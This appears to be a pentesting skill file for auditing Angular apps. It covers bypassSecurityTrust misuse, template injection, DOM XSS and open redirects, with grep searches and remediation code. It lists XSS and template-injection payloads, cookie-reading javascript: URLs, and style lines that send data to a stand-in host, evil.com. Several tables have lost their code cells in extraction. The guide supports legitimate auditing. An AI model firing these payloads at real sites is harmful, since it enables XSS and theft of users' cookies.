Hacktricks-skills angular-security-audit
Security audit and pentesting guide for Angular applications. Use this skill whenever you need to assess Angular app security, look for XSS vulnerabilities, check for bypassSecurityTrust misuse, audit template injection risks, test for open redirects, or review Angular security configurations. Trigger this for any Angular security review, code audit, or vulnerability assessment of Angular/TypeScript frontend applications.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/angular/SKILL.MDAngular Security Audit Skill
A comprehensive guide for security professionals to audit and pentest Angular applications for common vulnerabilities.
Quick Start Checklist
Run through these checks first:
- Sourcemaps disabled - Check
forangular.jsonsourceMap.scripts: false - No bypassSecurityTrust with user input - Search for
callsbypassSecurityTrust* - No direct DOM manipulation - Check for
,ElementRef.nativeElementRenderer2.setAttribute - No jQuery with user input - Look for
,$.html()
with untrusted data$.parseHTML() - No unsafe location manipulation - Check
,window.location.*
with user inputdocument.location.* - Template expressions escaped - Verify user input isn't concatenated into templates
- SecurityContext used correctly - Ensure proper context for sanitization
Angular Architecture Overview
Understanding the structure helps identify attack surfaces:
my-workspace/ ├── src/ │ ├── app/ │ │ ├── app.module.ts # Root module - check imports │ │ ├── app.component.ts # Root component - check logic │ │ ├── app.component.html # Template - check bindings │ │ └── app-routing.module.ts # Router - check redirects │ └── index.html # Entry point ├── angular.json # Build config - check sourcemaps └── tsconfig.json # TypeScript config
Key concepts:
- Components - UI units with templates (
+.component.ts
).html - Modules - Group related components (
).module.ts - Services - Shared logic (
)@Injectable() - Router - Navigation between views
Vulnerability Testing Guide
1. BypassSecurityTrust Methods
Angular provides methods to bypass sanitization. These are dangerous with user input.
What to search for:
bypassSecurityTrustUrl bypassSecurityTrustResourceUrl bypassSecurityTrustHtml bypassSecurityTrustScript bypassSecurityTrustStyle
Vulnerable pattern:
// DANGEROUS - user input bypasses sanitization this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
Safe pattern:
// SAFE - validate before trusting if (isValidUrl(userInput)) { this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput); }
Test cases:
- Tests URL bypassjavascript:alert(1)
- Tests HTML bypass<script>alert(1)</script>
- Tests style bypassbackground-image: url(https://evil.com/exfil?data=)
2. HTML Injection
Occurs when user input binds to
innerHTML, outerHTML, or iframe srcdoc.
Vulnerable pattern:
// app.component.ts test = userInput; // from user // app.component.html <div [innerHTML]="test"></div>
What happens:
tags are stripped (XSS blocked)<script>- But HTML structure is preserved (HTML injection possible)
- Can still be dangerous for UI redressing
Test: Input
<h1>Injected</h1><script>alert(1)</script> - script should be removed
3. Template Injection
User input concatenated into template strings can execute code.
Vulnerable pattern:
@Component({ template: '<h1>title</h1>' + userInput // DANGEROUS })
Attack vector:
// User input that executes code '{{constructor.constructor("alert(1)")()}}'
Test cases:
{{constructor.constructor('alert(1)')()}}{{'String'.constructor.constructor('alert(1)')()}}{{'alert(1)'.constructor('alert(1)')()}}
Safe pattern:
// Use interpolation, not concatenation <h1>{{userInput}}</h1> // Escaped automatically
4. XSS via DOM Interfaces
Direct DOM manipulation bypasses Angular's security.
Vulnerable patterns:
Document interface:
// DANGEROUS document.write("<script>alert(1)</script>"); document.createElement('script').textContent = userInput;
ElementRef:
// DANGEROUS - direct DOM access constructor(private elementRef: ElementRef) { this.elementRef.nativeElement.innerHTML = userInput; }
Renderer2:
// DANGEROUS - setAttribute has no XSS prevention this.renderer2.setAttribute(element, 'onerror', userInput); this.renderer2.setProperty(element, 'innerHTML', userInput);
jQuery:
// DANGEROUS $("p").html(userInput); $.parseHTML(userInput);
Test payloads:
<img src=1 onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)>
5. Open Redirects
User-controlled URLs in location objects can redirect to malicious sites.
Vulnerable sinks:
window.location.href = userInput; window.location.assign(userInput); window.location.replace(userInput); window.open(userInput, "_blank"); document.location.href = userInput;
Angular Document class:
// DANGEROUS constructor(@Inject(DOCUMENT) private document: Document) {} this.document.location.href = userInput;
Test cases:
https://evil.com/phishingjavascript:alert(document.cookie)
(protocol-relative)//evil.com
(credential injection)https://legit.com@evil.com
Safe navigation:
// Angular Router - stays within domain this.router.navigate(['/path']); this.location.go('/path'); // Also internal only
Security Context Reference
Angular uses 6 security contexts for sanitization:
| Context | Use Case | Example |
|---|---|---|
| No sanitization | Never use with user input |
| HTML content | |
| CSS properties | |
| URL attributes | |
| JavaScript code | Rarely used |
| Executable resources | |
Critical: Using wrong context = vulnerability
// WRONG - URL context on HTML sanitizer.bypassSecurityTrustUrl("<script>alert(1)</script>"); // CORRECT - HTML context for HTML sanitizer.bypassSecurityTrustHtml("<h1>Safe</h1>");
Audit Workflow
Phase 1: Reconnaissance
-
Check sourcemaps:
curl -I https://app.com/main.js | grep sourceMappingURL curl https://app.com/main.js.map # If exists, download and analyze -
Review angular.json:
"sourceMap": { "scripts": false, // Should be false in production "styles": false, "vendor": false, "hidden": true } -
Identify entry points:
- Find all components with user input
- Map data flow from input to output
- Identify DOM manipulation points
Phase 2: Static Analysis
Search patterns in codebase:
# Bypass methods grep -r "bypassSecurityTrust" src/ # Direct DOM access grep -r "nativeElement" src/ grep -r "document\." src/ grep -r "window\.location" src/ # jQuery usage grep -r "\$\." src/ grep -r "from 'jquery'" src/ # InnerHTML bindings grep -r "innerHTML" src/ grep -r "\[innerHtml\]" src/
Phase 3: Dynamic Testing
Test each input vector:
-
XSS payloads:
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> javascript:alert(1) -
Template injection:
{{constructor.constructor('alert(1)')()}} {{'String'.constructor.constructor('alert(1)')()}} -
Open redirect:
https://evil.com javascript:alert(document.cookie) //evil.com -
Style injection:
background-image: url(https://evil.com/exfil?c=) behavior: url(evil.htc)
Phase 4: Reporting
Document findings:
## Finding: [Vulnerability Type] **Location:** `src/app/component.ts:45` **Severity:** High/Medium/Low **Description:** User input passed to bypassSecurityTrustUrl **Code:** ```typescript this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
Impact: XSS via javascript: URL scheme
Remediation: Validate URL scheme before bypassing
Test:
javascript:alert(1) executes successfully
## Remediation Guidelines ### Fix BypassSecurityTrust ```typescript // BEFORE this.url = this.sanitizer.bypassSecurityTrustUrl(userInput); // AFTER if (this.isValidHttpUrl(userInput)) { this.url = this.sanitizer.bypassSecurityTrustUrl(userInput); } private isValidHttpUrl(url: string): boolean { const pattern = /^https?:\/\/.+/; return pattern.test(url); }
Fix ElementRef Usage
// BEFORE this.elementRef.nativeElement.innerHTML = userInput; // AFTER - Use Angular binding <div [innerHTML]="sanitizedInput"></div> // Or use Renderer2 safely this.renderer2.setProperty(element, 'textContent', userInput);
Fix Open Redirects
// BEFORE window.location.href = userInput; // AFTER - Validate domain if (this.isAllowedDomain(userInput)) { window.location.href = userInput; } private isAllowedDomain(url: string): boolean { const allowed = ['example.com', 'trusted.com']; try { const domain = new URL(url).hostname; return allowed.includes(domain); } catch { return false; } }
Fix jQuery Usage
// BEFORE $("p").html(userInput); // AFTER - Use textContent or Angular binding $("p").text(userInput); // Escapes HTML // Or better: use Angular's [textContent] binding
Common False Positives
Safe patterns that look dangerous:
-
Static bypassSecurityTrust:
// SAFE - hardcoded URL this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('https://cdn.example.com/lib.js'); -
Internal navigation:
// SAFE - Angular Router stays internal this.router.navigate(['/dashboard']); -
Renderer2 setStyle:
// Generally safe - limited attack surface this.renderer2.setStyle(element, 'color', 'red');
References
- Angular Security Guide
- Sanitization and Security Contexts
- Angular Security Checklist
- PayloadsAllTheThings - XSS in Angular
Quick Reference Card
| Vulnerability | Search For | Test Payload |
|---|---|---|
| Bypass Trust | | |
| HTML Injection | , | |
| Template Injection | Template concatenation | |
| DOM XSS | , | |
| Open Redirect | , | |
| jQuery XSS | , | |
Remember: Angular's default security is strong. Most vulnerabilities come from developers bypassing protections or using unsafe APIs. Focus your audit on those bypass points and direct DOM manipulation.